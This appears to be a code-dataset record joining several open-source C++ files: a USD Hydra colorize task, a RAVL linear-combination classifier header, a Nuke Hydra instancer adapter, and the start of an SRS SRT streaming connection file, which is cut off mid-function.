// // Copyright 2018 Pixar // // Licensed under the Apache License, Version 2.0 (the "Apache License") // with the following modification; you may not use this file except in // compliance with the Apache License and the following modification to it: // Section 6. Trademarks. is deleted and replaced with: // // 6. Trademarks. This License does not grant permission to use the trade // names, trademarks, service marks, or product names of the Licensor // and its affiliates, except as required to comply with Section 4(c) of // the License and to reproduce the content of the NOTICE file. // // You may obtain a copy of the Apache License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the Apache License with the above modification is // distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY // KIND, either express or implied. See the Apache License for the specific // language governing permissions and limitations under the Apache License. // #include "pxr/imaging/hdx/colorizeTask.h" #include "pxr/imaging/hd/aov.h" #include "pxr/imaging/hd/renderBuffer.h" #include "pxr/imaging/hd/tokens.h" PXR_NAMESPACE_OPEN_SCOPE HdxColorizeTask::HdxColorizeTask(HdSceneDelegate* delegate, SdfPath const& id) : HdxProgressiveTask(id) , _aovName() , _aovBufferPath() , _depthBufferPath() , _aovBuffer(nullptr) , _depthBuffer(nullptr) , _outputBuffer(nullptr) , _outputBufferSize(0) , _converged(false) , _compositor() , _needsValidation(false) { } HdxColorizeTask::~HdxColorizeTask() { delete[] _outputBuffer; } bool HdxColorizeTask::IsConverged() const { return _converged; } struct _Colorizer { typedef void (*ColorizerCallback) (uint8_t* dest, uint8_t* src, size_t nPixels); TfToken aovName; HdFormat aovFormat; ColorizerCallback callback; }; static void _colorizeNdcDepth(uint8_t* dest, uint8_t* src, size_t nPixels) { // depth is in clip space, so remap (-1, 1) to (0,1) and clamp. float *depthBuffer = reinterpret_cast<float*>(src); for (size_t i = 0; i < nPixels; ++i) { float valuef = std::min(std::max((depthBuffer[i] * 0.5f) + 0.5f, 0.0f), 1.0f); uint8_t value = (uint8_t)(255.0f * valuef); // special case 1.0 (far plane) as all black. if (depthBuffer[i] >= 1.0f) { value = 0; } dest[i*4+0] = value; dest[i*4+1] = value; dest[i*4+2] = value; dest[i*4+3] = 255; } } static void _colorizeLinearDepth(uint8_t* dest, uint8_t* src, size_t nPixels) { // linearDepth is depth from the camera, in world units. Its range is // [0, N] for some maximum N; to display it, rescale to [0, 1] and // splat that across RGB. float maxDepth = 0.0f; float *depthBuffer = reinterpret_cast<float*>(src); for (size_t i = 0; i < nPixels; ++i) { maxDepth = std::max(depthBuffer[i], maxDepth); } if (maxDepth != 0.0f) { for (size_t i = 0; i < nPixels; ++i) { float valuef = std::min(std::max((depthBuffer[i] / maxDepth), 0.0f), 1.0f); uint8_t value = (uint8_t)(255.0f * valuef); dest[i*4+0] = value; dest[i*4+1] = value; dest[i*4+2] = value; dest[i*4+3] = 255; } } } static void _colorizeNormal(uint8_t* dest, uint8_t* src, size_t nPixels) { float *normalBuffer = reinterpret_cast<float*>(src); for (size_t i = 0; i < nPixels; ++i) { GfVec3f n(normalBuffer[i*3+0], normalBuffer[i*3+1], normalBuffer[i*3+2]); n = (n * 0.5f) + GfVec3f(0.5f); dest[i*4+0] = (uint8_t)(n[0] * 255.0f); dest[i*4+1] = (uint8_t)(n[1] * 255.0f); dest[i*4+2] = (uint8_t)(n[2] * 255.0f); dest[i*4+3] = 255; } } static void _colorizeId(uint8_t* dest, uint8_t* src, size_t nPixels) { // XXX: this is legacy ID-display behavior, but an alternative is to // hash the ID to 3 bytes and use those as color. Even fancier, // hash to hue and stratified (saturation, value) levels, etc. int32_t *idBuffer = reinterpret_cast<int32_t*>(src); for (size_t i = 0; i < nPixels; ++i) { int32_t id = idBuffer[i]; dest[i*4+0] = (uint8_t)(id & 0xff); dest[i*4+1] = (uint8_t)((id >> 8) & 0xff); dest[i*4+2] = (uint8_t)((id >> 16) & 0xff); dest[i*4+3] = 255; } } static void _colorizePrimvar(uint8_t* dest, uint8_t* src, size_t nPixels) { float *primvarBuffer = reinterpret_cast<float*>(src); for (size_t i = 0; i < nPixels; ++i) { GfVec3f p(std::fmod(primvarBuffer[i*3+0], 1.0f), std::fmod(primvarBuffer[i*3+1], 1.0f), std::fmod(primvarBuffer[i*3+2], 1.0f)); if (p[0] < 0.0f) { p[0] += 1.0f; } if (p[1] < 0.0f) { p[1] += 1.0f; } if (p[2] < 0.0f) { p[2] += 1.0f; } dest[i*4+0] = (uint8_t)(p[0] * 255.0f); dest[i*4+1] = (uint8_t)(p[1] * 255.0f); dest[i*4+2] = (uint8_t)(p[2] * 255.0f); dest[i*4+3] = 255; } } // XXX: It would be nice to make the colorizers more flexible on input format, // but this gets the job done. static _Colorizer _colorizerTable[] = { { HdAovTokens->depth, HdFormatFloat32, _colorizeNdcDepth }, { HdAovTokens->linearDepth, HdFormatFloat32, _colorizeLinearDepth }, { HdAovTokens->Neye, HdFormatFloat32Vec3, _colorizeNormal }, { HdAovTokens->normal, HdFormatFloat32Vec3, _colorizeNormal }, { HdAovTokens->primId, HdFormatInt32, _colorizeId }, { HdAovTokens->elementId, HdFormatInt32, _colorizeId }, { HdAovTokens->instanceId, HdFormatInt32, _colorizeId }, }; void HdxColorizeTask::Sync(HdSceneDelegate* delegate, HdTaskContext* ctx, HdDirtyBits* dirtyBits) { HD_TRACE_FUNCTION(); HF_MALLOC_TAG_FUNCTION(); if ((*dirtyBits) & HdChangeTracker::DirtyParams) { HdxColorizeTaskParams params; if (_GetTaskParams(delegate, &params)) { _aovName = params.aovName; _aovBufferPath = params.aovBufferPath; _depthBufferPath = params.depthBufferPath; _needsValidation = true; } } *dirtyBits = HdChangeTracker::Clean; } void HdxColorizeTask::Prepare(HdTaskContext* ctx, HdRenderIndex *renderIndex) { _aovBuffer = nullptr; _depthBuffer = nullptr; // An empty _aovBufferPath disables the task if (_aovBufferPath.IsEmpty()) { return; } _aovBuffer = static_cast<HdRenderBuffer*>( renderIndex->GetBprim(HdPrimTypeTokens->renderBuffer, _aovBufferPath)); if (!_aovBuffer) { if (_needsValidation) { TF_WARN("Bad AOV input buffer path %s", _aovBufferPath.GetText()); _needsValidation = false; } return; } if (!_depthBufferPath.IsEmpty()) { _depthBuffer = static_cast<HdRenderBuffer*>( renderIndex->GetBprim( HdPrimTypeTokens->renderBuffer, _depthBufferPath)); if (!_depthBuffer && _needsValidation) { TF_WARN("Bad depth input buffer path %s", _depthBufferPath.GetText()); } } if (_needsValidation) { _needsValidation = false; if (_aovName == HdAovTokens->color && _aovBuffer->GetFormat() == HdFormatUNorm8Vec4) { return; } for (auto& colorizer : _colorizerTable) { if (_aovName == colorizer.aovName && _aovBuffer->GetFormat() == colorizer.aovFormat) { return; } } if (HdParsedAovToken(_aovName).isPrimvar && _aovBuffer->GetFormat() == HdFormatFloat32Vec3) { return; } TF_WARN("Unsupported AOV input %s with format %s", _aovName.GetText(), TfEnum::GetName(_aovBuffer->GetFormat()).c_str()); } } void HdxColorizeTask::Execute(HdTaskContext* ctx) { HD_TRACE_FUNCTION(); HF_MALLOC_TAG_FUNCTION(); // _aovBuffer is null if the task is disabled // because _aovBufferPath is empty or // we failed to look up the renderBuffer in the render index, // in which case the error was previously reported if (!_aovBuffer) { return; } // Allocate the scratch space, if needed. Don't allocate scratch space // if we're just passing along color data. size_t size = _aovBuffer->GetWidth() * _aovBuffer->GetHeight(); if (_aovName == HdAovTokens->color && _aovBuffer->GetFormat() == HdFormatUNorm8Vec4) { size = 0; } if (_outputBufferSize != size) { delete[] _outputBuffer; _outputBuffer = (size != 0) ? (new uint8_t[size*4]) : nullptr; _outputBufferSize = size; } _converged = _aovBuffer->IsConverged(); if (_depthBuffer) { _converged = _converged && _depthBuffer->IsConverged(); } // Resolve the buffers before we read them. _aovBuffer->Resolve(); if (_depthBuffer) { _depthBuffer->Resolve(); } // XXX: Right now, we colorize on the CPU, before uploading data to the // fullscreen pass. It would be much better if the colorizer callbacks // were pluggable fragment shaders. This is particularly important for // backends that keep renderbuffers on the GPU. // Colorize! if (_depthBuffer && _depthBuffer->GetFormat() == HdFormatFloat32) { _compositor.UpdateDepth(_depthBuffer->GetWidth(), _depthBuffer->GetHeight(), _depthBuffer->Map()); _depthBuffer->Unmap(); } else { // If no depth buffer is bound, don't draw with depth. _compositor.UpdateDepth(0, 0, nullptr); } if (_aovName == HdAovTokens->color && _aovBuffer->GetFormat() == HdFormatUNorm8Vec4) { // Special handling for color: to avoid a copy, just read the data // from the render buffer. _compositor.UpdateColor(_aovBuffer->GetWidth(), _aovBuffer->GetHeight(), _aovBuffer->Map()); _aovBuffer->Unmap(); } else { // Otherwise, colorize into the scratch buffer. bool colorized = false; // Check the colorizer callbacks. for (auto& colorizer : _colorizerTable) { if (_aovName == colorizer.aovName && _aovBuffer->GetFormat() == colorizer.aovFormat) { colorizer.callback(_outputBuffer, _aovBuffer->Map(), _outputBufferSize); _aovBuffer->Unmap(); colorized = true; break; } } // Special handling for primvar tokens: they all go through the same // function... if (!colorized && HdParsedAovToken(_aovName).isPrimvar && _aovBuffer->GetFormat() == HdFormatFloat32Vec3) { _colorizePrimvar(_outputBuffer, _aovBuffer->Map(), _outputBufferSize); _aovBuffer->Unmap(); colorized = true; } // Upload the scratch buffer. if (colorized) { _compositor.UpdateColor(_aovBuffer->GetWidth(), _aovBuffer->GetHeight(), _outputBuffer); } else { _compositor.UpdateColor(0, 0, nullptr); } } // Blit! GLboolean blendEnabled; glGetBooleanv(GL_BLEND, &blendEnabled); glEnable(GL_BLEND); glBlendFunc(GL_ONE, GL_ONE_MINUS_SRC_ALPHA); _compositor.Draw(); if (!blendEnabled) { glDisable(GL_BLEND); } } // --------------------------------------------------------------------------- // // VtValue Requirements // --------------------------------------------------------------------------- // std::ostream& operator<<(std::ostream& out, const HdxColorizeTaskParams& pv) { out << "ColorizeTask Params: (...) " << pv.aovName << " " << pv.aovBufferPath << " " << pv.depthBufferPath; return out; } bool operator==(const HdxColorizeTaskParams& lhs, const HdxColorizeTaskParams& rhs) { return lhs.aovName == rhs.aovName && lhs.aovBufferPath == rhs.aovBufferPath && lhs.depthBufferPath == rhs.depthBufferPath; } bool operator!=(const HdxColorizeTaskParams& lhs, const HdxColorizeTaskParams& rhs) { return !(lhs == rhs); } PXR_NAMESPACE_CLOSE_SCOPE
33.104712
81
0.592678
[ "render" ]
6ca40226bed57647a091c46b4b71998f339bed3f
5,102
hh
C++
RAVL2/PatternRec/Classify/ClassifierLinearCombination.hh
isuhao/ravl2
317e0ae1cb51e320b877c3bad6a362447b5e52ec
[ "BSD-Source-Code" ]
null
null
null
RAVL2/PatternRec/Classify/ClassifierLinearCombination.hh
isuhao/ravl2
317e0ae1cb51e320b877c3bad6a362447b5e52ec
[ "BSD-Source-Code" ]
null
null
null
RAVL2/PatternRec/Classify/ClassifierLinearCombination.hh
isuhao/ravl2
317e0ae1cb51e320b877c3bad6a362447b5e52ec
[ "BSD-Source-Code" ]
null
null
null
// This file is part of RAVL, Recognition And Vision Library // Copyright (C) 2001, University of Surrey // This code may be redistributed under the terms of the GNU Lesser // General Public License (LGPL). See the lgpl.licence file for details or // see http://www.gnu.org/copyleft/lesser.html // file-header-ends-here #ifndef RAVL_LINEARCOMBINATION_HEADER #define RAVL_LINEARCOMBINATION_HEADER 1 ///////////////////////////////////////////////////////////// //! rcsid="$Id: ClassifierLinearCombination.hh 5463 2006-04-24 13:51:50Z craftit $" //! lib=RavlPatternRec //! author="Robert Crida" //! userlevel=Normal //! docentry="Ravl.API.Pattern Recognition.Classifier" //! file="Ravl/PatternRec/Classify/ClassifierLinearCombination.hh" #include "Ravl/PatternRec/Classifier.hh" #include "Ravl/SArray1dIter2.hh" namespace RavlN { //! userlevel=Develop //: Linear combination classifier // Classifier which uses a weighted set of weak classifiers to classify into // one of two classes. class ClassifierLinearCombinationBodyC : public ClassifierBodyC { public: ClassifierLinearCombinationBodyC(SArray1dC<ClassifierC> weakClassifiers, SArray1dC<RealT> weights, RealT threshold); //: Constructor. //!param: weakClassifiers - a set of classifiers to be combined //!param: weights - relative weights for each classifier // Classification is label 1 if sum(weight[i]*classify[i](x)) >= 0.5sum(weight[i]) ClassifierLinearCombinationBodyC(istream &strm); //: Load from stream. ClassifierLinearCombinationBodyC(BinIStreamC &strm); //: Load from binary stream. virtual bool Save (ostream &out) const; //: Writes object to stream, can be loaded using constructor virtual bool Save (BinOStreamC &out) const; //: Writes object to stream, can be loaded using constructor virtual UIntT Classify(const VectorC &data) const; //: Classifier vector 'data' return the most likely label. virtual UIntT Classify(const VectorC &data,const SArray1dC<IndexC> &featureSet) const; //: Classify vector 'data' using only the given subset of features SArray1dC<ClassifierC> WeakClassifiers() { return m_weakClassifiers; } //: Access a list of classifiers used void SetWeakClassifiers(const SArray1dC<ClassifierC> &weakClassifiers) { m_weakClassifiers = weakClassifiers; } //: Set classifiers SArray1dC<RealT> WeakClassifierWeights() { return m_weights; } //: Access array of weights, one for each classifier. void SetWeakClassifierWeights(const SArray1dC<RealT> &weights); //: Set the array of weights, one for each classifier. // Note: The array must be of the same size as the number of weak classifiers. protected: SArray1dC<ClassifierC> m_weakClassifiers; SArray1dC<RealT> m_weights; RealT m_sumWeights; SArray1dC<IndexC> m_featureSet; RealT m_threshold; }; //! userlevel=Normal //: Linear combination classifier // Classifier which uses a weighted set of weak classifiers to classify into // one of two classes. class ClassifierLinearCombinationC : public ClassifierC { public: ClassifierLinearCombinationC() {} //: Default constructor // Creates an invalid handle. ClassifierLinearCombinationC(SArray1dC<ClassifierC> weakClassifiers, SArray1dC<RealT> weights, RealT threshold) : ClassifierC(*new ClassifierLinearCombinationBodyC(weakClassifiers,weights,threshold)) {} //: Constructor. ClassifierLinearCombinationC(istream &strm); //: Load from stream. ClassifierLinearCombinationC(BinIStreamC &strm); //: Load from binary stream. SArray1dC<ClassifierC> WeakClassifiers() { return Body().WeakClassifiers(); } //: Access a list of classifiers used void SetWeakClassifiers(const SArray1dC<ClassifierC> &weakClassifiers) { Body().SetWeakClassifiers(weakClassifiers); } //: Set classifiers SArray1dC<RealT> WeakClassifierWeights() { return Body().WeakClassifierWeights(); } //: Access array of weights, one for each classifier. void SetWeakClassifierWeights(const SArray1dC<RealT> &weights) { Body().SetWeakClassifierWeights(weights); } //: Set the array of weights, one for each classifier. // Note: The array must be of the same size as the number of weak classifiers. protected: ClassifierLinearCombinationC(ClassifierLinearCombinationBodyC &bod) : ClassifierC(bod) {} //: Body constructor. ClassifierLinearCombinationC(ClassifierLinearCombinationBodyC *bod) : ClassifierC(bod) {} //: Body ptr constructor. ClassifierLinearCombinationBodyC &Body() { return static_cast<ClassifierLinearCombinationBodyC &>(FunctionC::Body()); } //: Access body. const ClassifierLinearCombinationBodyC &Body() const { return static_cast<const ClassifierLinearCombinationBodyC &>(FunctionC::Body()); } //: Access body. }; void InitRavlClassifierLinearCombinationIO(); } #endif
34.945205
120
0.707174
[ "object", "vector" ]
6ca8aa37778ac5103ad49fd0f69ed1b7a6bbb4b0
9,564
cpp
C++
src/hdNuke/instancerAdapter.cpp
TheFoundryVisionmongers/NukeHydraPlugins
3ffaf6fae9ad3b988edcdb3198dd3109fbcda12a
[ "Apache-2.0" ]
3
2022-03-03T17:40:54.000Z
2022-03-21T22:14:43.000Z
src/hdNuke/instancerAdapter.cpp
TheFoundryVisionmongers/NukeHydraPlugins
3ffaf6fae9ad3b988edcdb3198dd3109fbcda12a
[ "Apache-2.0" ]
null
null
null
src/hdNuke/instancerAdapter.cpp
TheFoundryVisionmongers/NukeHydraPlugins
3ffaf6fae9ad3b988edcdb3198dd3109fbcda12a
[ "Apache-2.0" ]
3
2021-12-06T06:48:54.000Z
2022-02-08T23:58:30.000Z
// Copyright 2019-present Nathan Rusch // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // #include <pxr/imaging/hd/tokens.h> #include <pxr/base/gf/rotation.h> #include "instancerAdapter.h" #include "adapterFactory.h" #include "adapterManager.h" #include "sceneDelegate.h" #include "types.h" #include "tokens.h" #include <DDImage/DDMath.h> #include <DDImage/Iop.h> #include <DDImage/GeoInfo.h> #include <DDImage/Format.h> #include <numeric> PXR_NAMESPACE_OPEN_SCOPE namespace { template<typename T> T GetGeoInfoAttrib( const DD::Image::GeoInfo& info, DD::Image::GroupType groupType, const char* attribName, DD::Image::AttribType attribType ) { const DD::Image::AttribContext* context = info.get_typed_group_attribcontext( groupType, attribName, attribType ); if (!context || context->empty() || !context->attribute ) { return nullptr; } return reinterpret_cast<T>(context->attribute->array()); } } void HdNukeInstancerAdapter::Update(const GeoInfoVector& geoInfoPtrs) { _instanceXforms.resize(geoInfoPtrs.size()); _colors.resize(geoInfoPtrs.size()); for (size_t i = 0; i < geoInfoPtrs.size(); i++) { const float* matrixPtr = geoInfoPtrs[i]->matrix.array(); std::copy(matrixPtr, matrixPtr + 16, _instanceXforms[i].data()); const auto cf = GetGeoInfoAttrib<const DD::Image::Vector4*>(*geoInfoPtrs[i], DD::Image::Group_Object, "Cf", DD::Image::VECTOR4_ATTRIB); if (cf != nullptr) { const DD::Image::Vector4& color = cf[0]; _colors[i] = GfVec3f(color.x, color.y, color.z); } else { _colors[i] = GfVec3f(0.0f); } } } void HdNukeInstancerAdapter::UpdateParticles(const DD::Image::GeoInfo& geoInfo) { _colors.clear(); // Update the transforms for each particle sprite instance const DD::Image::PointList* pointList = geoInfo.point_list(); if (pointList != nullptr) { const auto count = pointList->size(); const auto velocity = GetGeoInfoAttrib<const DD::Image::Vector3*>(geoInfo, DD::Image::Group_Points, "vel", DD::Image::VECTOR3_ATTRIB); const auto spin = GetGeoInfoAttrib<const float*>(geoInfo, DD::Image::Group_Points, "spin", DD::Image::FLOAT_ATTRIB); const auto size = GetGeoInfoAttrib<const float*>(geoInfo, DD::Image::Group_Points, "size", DD::Image::FLOAT_ATTRIB); const auto cf = GetGeoInfoAttrib<const DD::Image::Vector4*>(geoInfo, DD::Image::Group_Points, "Cf", DD::Image::VECTOR4_ATTRIB); _instanceXforms.resize(count); if (cf != nullptr ) { _colors.resize(count); } float aspectRatio = 1.0f; if (geoInfo.material) { const DD::Image::Format& f = geoInfo.material->format(); aspectRatio = static_cast<float>(f.pixel_aspect()) * static_cast<float>(f.width()) / static_cast<float>(f.height()); } for (size_t i = 0; i < count; i++) { // Get the rotation matrix to face the sprite towards the camera const DD::Image::Matrix4& modelView = GetSharedState()->modelView; const DD::Image::Matrix4& viewModel = GetSharedState()->viewModel; // Make axes for XY plane of the particle sprite DD::Image::Vector3 xAxis(1.0f, 0.0f, 0.0f); DD::Image::Vector3 yAxis(0.0f, 1.0f, 0.0f); if (velocity != nullptr) { // Orient the sprite according to the velocity // Transform the velocity from world coordinate to camera coordinate xAxis = modelView.vtransform(velocity[i]); xAxis.z = 0.0f; xAxis.normalize(); yAxis = DD::Image::Vector3( -xAxis.y, xAxis.x, 0.0f ); } else if (spin != nullptr) { // Rotate the particle directional vector according to particle spin DD::Image::Matrix4 rotMatrix = DD::Image::Matrix4::identity(); rotMatrix.rotationZ(spin[i]); xAxis = rotMatrix.vtransform(xAxis); yAxis = rotMatrix.vtransform(yAxis); } // Transform the particle plane to world coordinates xAxis = viewModel.vtransform(xAxis); yAxis = viewModel.vtransform(yAxis); xAxis.normalize(); yAxis.normalize(); // Make a Z axis DD::Image::Vector3 zAxis = xAxis.cross(yAxis); // Apply the particle scale const float scale = size[i]; xAxis *= scale*aspectRatio; yAxis *= scale; zAxis *= scale; // Apply the particle translation const DD::Image::Vector3& position = (*pointList)[i]; // Make a complete matrix from the axes and translation pxr::GfMatrix4d billboardMatrix( xAxis.x, xAxis.y, xAxis.z, 0.0, yAxis.x, yAxis.y, yAxis.z, 0.0, zAxis.x, zAxis.y, zAxis.z, 0.0, position.x, position.y, position.z, 1.0 ); _instanceXforms[i] = billboardMatrix; if (cf != nullptr ) { const DD::Image::Vector4& color = cf[i]; _colors[i] = GfVec3f(color.x, color.y, color.z); } } } } VtValue HdNukeInstancerAdapter::Get(const TfToken& key) const { if (key == HdInstancerTokens->instanceTransform) { return VtValue(_instanceXforms); } if (key == HdTokens->displayColor) { return VtValue(_colors); } if (key == HdNukeTokens->instanceCount) { VtIntArray result(InstanceCount()); std::iota(result.begin(), result.end(), 0); return VtValue{result}; } return VtValue(); } bool HdNukeInstancerAdapter::SetUp(HdNukeAdapterManager* manager, const VtValue& nukeData) { auto sceneDelegate = manager->GetSceneDelegate(); auto& renderIndex = sceneDelegate->GetRenderIndex(); if (nukeData.IsHolding<DD::Image::GeoInfo*>()) { auto geoInfo = nukeData.UncheckedGet<DD::Image::GeoInfo*>(); UpdateParticles(*geoInfo); } else if (nukeData.IsHolding<GeoInfoVector>()) { auto geoInfoVector = nukeData.UncheckedGet<GeoInfoVector>(); Update(geoInfoVector); } renderIndex.InsertInstancer(sceneDelegate, GetPath()); return true; } bool HdNukeInstancerAdapter::Update(HdNukeAdapterManager* manager, const VtValue& nukeData) { auto sceneDelegate = manager->GetSceneDelegate(); auto& renderIndex = sceneDelegate->GetRenderIndex(); auto& changeTracker = renderIndex.GetChangeTracker(); if (nukeData.IsHolding<DD::Image::GeoInfo*>()) { auto geoInfo = nukeData.UncheckedGet<DD::Image::GeoInfo*>(); // Work round an hdStorm bug causing a crash if the number of instances changes. // Destroy the existing instancer and create a new one. const DD::Image::PointList* pointList = geoInfo->point_list(); if (pointList != nullptr) { const auto count = pointList->size(); if (InstanceCount() != count) { SdfPath parentPath = GetPath().GetParentPath(); renderIndex.RemoveRprim(parentPath); renderIndex.RemoveInstancer(GetPath()); renderIndex.InsertInstancer(sceneDelegate, GetPath()); renderIndex.InsertRprim(HdPrimTypeTokens->mesh, sceneDelegate, parentPath, GetPath()); } } UpdateParticles(*geoInfo); } else if (nukeData.IsHolding<GeoInfoVector>()) { auto geoInfoVector = nukeData.UncheckedGet<GeoInfoVector>(); // Work round an hdStorm bug causing a crash if the number of instances changes. // Destroy the existing instancer and create a new one. const auto count = geoInfoVector.size(); if (InstanceCount() != count) { SdfPath parentPath = GetPath().GetParentPath(); renderIndex.RemoveRprim(parentPath); renderIndex.RemoveInstancer(GetPath()); renderIndex.InsertInstancer(sceneDelegate, GetPath()); renderIndex.InsertRprim(HdPrimTypeTokens->mesh, sceneDelegate, parentPath, GetPath()); } Update(geoInfoVector); } changeTracker.MarkInstancerDirty(GetPath()); return true; } void HdNukeInstancerAdapter::TearDown(HdNukeAdapterManager* manager) { auto sceneDelegate = manager->GetSceneDelegate(); auto& renderIndex = sceneDelegate->GetRenderIndex(); renderIndex.RemoveInstancer(GetPath()); } const TfToken& HdNukeInstancerAdapter::GetPrimType() const { return HdInstancerTokens->instancer; } class InstancerAdapterCreator : public HdNukeAdapterFactory::AdapterCreator { public: HdNukeAdapterPtr Create(AdapterSharedState *sharedState) override { return std::make_shared<HdNukeInstancerAdapter>(sharedState); } }; static const AdapterRegister<InstancerAdapterCreator> sRegisterEnvironmentCreator(HdNukeAdapterManagerPrimTypes->Instancer); PXR_NAMESPACE_CLOSE_SCOPE
37.505882
146
0.638749
[ "mesh", "vector", "transform" ]
6caa255c33141f90e55431b4f901a9b02e53b65f
18,732
cpp
C++
trunk/src/app/srs_app_srt_conn.cpp
J0hmy/srs
ba5af88b899626f53d25237580488c9a1abbe6fb
[ "MIT" ]
null
null
null
trunk/src/app/srs_app_srt_conn.cpp
J0hmy/srs
ba5af88b899626f53d25237580488c9a1abbe6fb
[ "MIT" ]
null
null
null
trunk/src/app/srs_app_srt_conn.cpp
J0hmy/srs
ba5af88b899626f53d25237580488c9a1abbe6fb
[ "MIT" ]
null
null
null
// // Copyright (c) 2013-2021 The SRS Authors // // SPDX-License-Identifier: MIT or MulanPSL-2.0 // #include <srs_app_srt_conn.hpp> using namespace std; #include <srs_kernel_buffer.hpp> #include <srs_kernel_flv.hpp> #include <srs_kernel_stream.hpp> #include <srs_core_autofree.hpp> #include <srs_protocol_rtmp_stack.hpp> #include <srs_protocol_srt.hpp> #include <srs_app_config.hpp> #include <srs_app_http_hooks.hpp> #include <srs_app_pithy_print.hpp> #include <srs_app_srt_server.hpp> #include <srs_app_srt_source.hpp> SrsSrtConnection::SrsSrtConnection(srs_srt_t srt_fd) { srt_fd_ = srt_fd; srt_skt_ = new SrsSrtSocket(_srt_eventloop->poller(), srt_fd_); } SrsSrtConnection::~SrsSrtConnection() { srs_freep(srt_skt_); } srs_error_t SrsSrtConnection::initialize() { srs_error_t err = srs_success; return err; } void SrsSrtConnection::set_recv_timeout(srs_utime_t tm) { srt_skt_->set_recv_timeout(tm); } srs_utime_t SrsSrtConnection::get_recv_timeout() { return srt_skt_->get_recv_timeout(); } srs_error_t SrsSrtConnection::read_fully(void* buf, size_t size, ssize_t* nread) { return srs_error_new(ERROR_SRT_CONN, "unsupport method"); } int64_t SrsSrtConnection::get_recv_bytes() { return srt_skt_->get_recv_bytes(); } int64_t SrsSrtConnection::get_send_bytes() { return srt_skt_->get_send_bytes(); } srs_error_t SrsSrtConnection::read(void* buf, size_t size, ssize_t* nread) { return srt_skt_->recvmsg(buf, size, nread); } void SrsSrtConnection::set_send_timeout(srs_utime_t tm) { srt_skt_->set_send_timeout(tm); } srs_utime_t SrsSrtConnection::get_send_timeout() { return srt_skt_->get_send_timeout(); } srs_error_t SrsSrtConnection::write(void* buf, size_t size, ssize_t* nwrite) { return srt_skt_->sendmsg(buf, size, nwrite); } srs_error_t SrsSrtConnection::writev(const iovec *iov, int iov_size, ssize_t* nwrite) { return srs_error_new(ERROR_SRT_CONN, "unsupport method"); } SrsSrtRecvThread::SrsSrtRecvThread(SrsSrtConnection* srt_conn) { srt_conn_ = srt_conn; trd_ = new SrsSTCoroutine("srt-recv", this, _srs_context->get_id()); recv_err_ = srs_success; } SrsSrtRecvThread::~SrsSrtRecvThread() { srs_freep(trd_); srs_error_reset(recv_err_); } srs_error_t SrsSrtRecvThread::cycle() { srs_error_t err = srs_success; if ((err = do_cycle()) != srs_success) { recv_err_ = srs_error_copy(err); } return err; } srs_error_t SrsSrtRecvThread::do_cycle() { srs_error_t err = srs_success; while (true) { if ((err = trd_->pull()) != srs_success) { return srs_error_wrap(err, "srt: thread quit"); } char buf[1316]; ssize_t nb = 0; if ((err = srt_conn_->read(buf, sizeof(buf), &nb)) != srs_success) { if (srs_error_code(err) != ERROR_SRT_TIMEOUT) { return srs_error_wrap(err, "srt read"); } } } return err; } srs_error_t SrsSrtRecvThread::start() { srs_error_t err = srs_success; if ((err = trd_->start()) != srs_success) { return srs_error_wrap(err, "start srt recv thread"); } return err; } srs_error_t SrsSrtRecvThread::get_recv_err() { return srs_error_copy(recv_err_); } SrsMpegtsSrtConn::SrsMpegtsSrtConn(SrsSrtServer* srt_server, srs_srt_t srt_fd, std::string ip, int port) { // Create a identify for this client. _srs_context->set_id(_srs_context->generate_id()); srt_server_ = srt_server; srt_fd_ = srt_fd; srt_conn_ = new SrsSrtConnection(srt_fd_); clock_ = new SrsWallClock(); kbps_ = new SrsKbps(clock_); kbps_->set_io(srt_conn_, srt_conn_); ip_ = ip; port_ = port; trd_ = new SrsSTCoroutine("ts-srt", this, _srs_context->get_id()); srt_source_ = NULL; req_ = new SrsRequest(); } SrsMpegtsSrtConn::~SrsMpegtsSrtConn() { srs_freep(trd_); srs_freep(kbps_); srs_freep(clock_); srs_freep(srt_conn_); srs_freep(req_); } std::string SrsMpegtsSrtConn::desc() { return "srt-ts-conn"; } void SrsMpegtsSrtConn::remark(int64_t* in, int64_t* out) { // TODO: FIXME: no impl currently. kbps_->remark(in, out); } srs_error_t SrsMpegtsSrtConn::start() { srs_error_t err = srs_success; if ((err = trd_->start()) != srs_success) { return srs_error_wrap(err, "coroutine"); } return err; } std::string SrsMpegtsSrtConn::remote_ip() { return ip_; } const SrsContextId& SrsMpegtsSrtConn::get_id() { return trd_->cid(); } srs_error_t SrsMpegtsSrtConn::cycle() { srs_error_t err = srs_success; err = do_cycle(); // Notify manager to remove it. // Note that we create this object, so we use manager to remove it. srt_server_->remove(this); // success. if (err == srs_success) { srs_trace("srt client finished."); return err; } srs_error("srt serve error %s", srs_error_desc(err).c_str()); srs_freep(err); return srs_success; } srs_error_t SrsMpegtsSrtConn::do_cycle() { srs_error_t err = srs_success; srs_trace("SRT client ip=%s:%d, fd=%d", ip_.c_str(), port_, srt_fd_); string streamid = ""; if ((err = srs_srt_get_streamid(srt_fd_, streamid)) != srs_success) { return srs_error_wrap(err, "get srt streamid"); } // Must have streamid, because srt ts packet will convert to rtmp or rtc. if (streamid.empty()) { return srs_error_new(ERROR_SRT_CONN, "empty srt streamid"); } // Detect streamid of srt to request. SrtMode mode = SrtModePull; if (! srs_srt_streamid_to_request(streamid, mode, req_)) { return srs_error_new(ERROR_SRT_CONN, "invalid srt streamid=%s", streamid.c_str()); } if (! _srs_config->get_srt_enabled(req_->vhost)) { return srs_error_new(ERROR_SRT_CONN, "srt disabled, vhost=%s", req_->vhost.c_str()); } srs_trace("@srt, streamid=%s, stream_url=%s, vhost=%s, app=%s, stream=%s, param=%s", streamid.c_str(), req_->get_stream_url().c_str(), req_->vhost.c_str(), req_->app.c_str(), req_->stream.c_str(), req_->param.c_str()); if ((err = _srs_srt_sources->fetch_or_create(req_, &srt_source_)) != srs_success) { return srs_error_wrap(err, "fetch srt source"); } if ((err = http_hooks_on_connect()) != srs_success) { return srs_error_wrap(err, "on connect"); } if (mode == SrtModePush) { err = publishing(); } else if (mode == SrtModePull) { err = playing(); } http_hooks_on_close(); return err; } srs_error_t SrsMpegtsSrtConn::publishing() { srs_error_t err 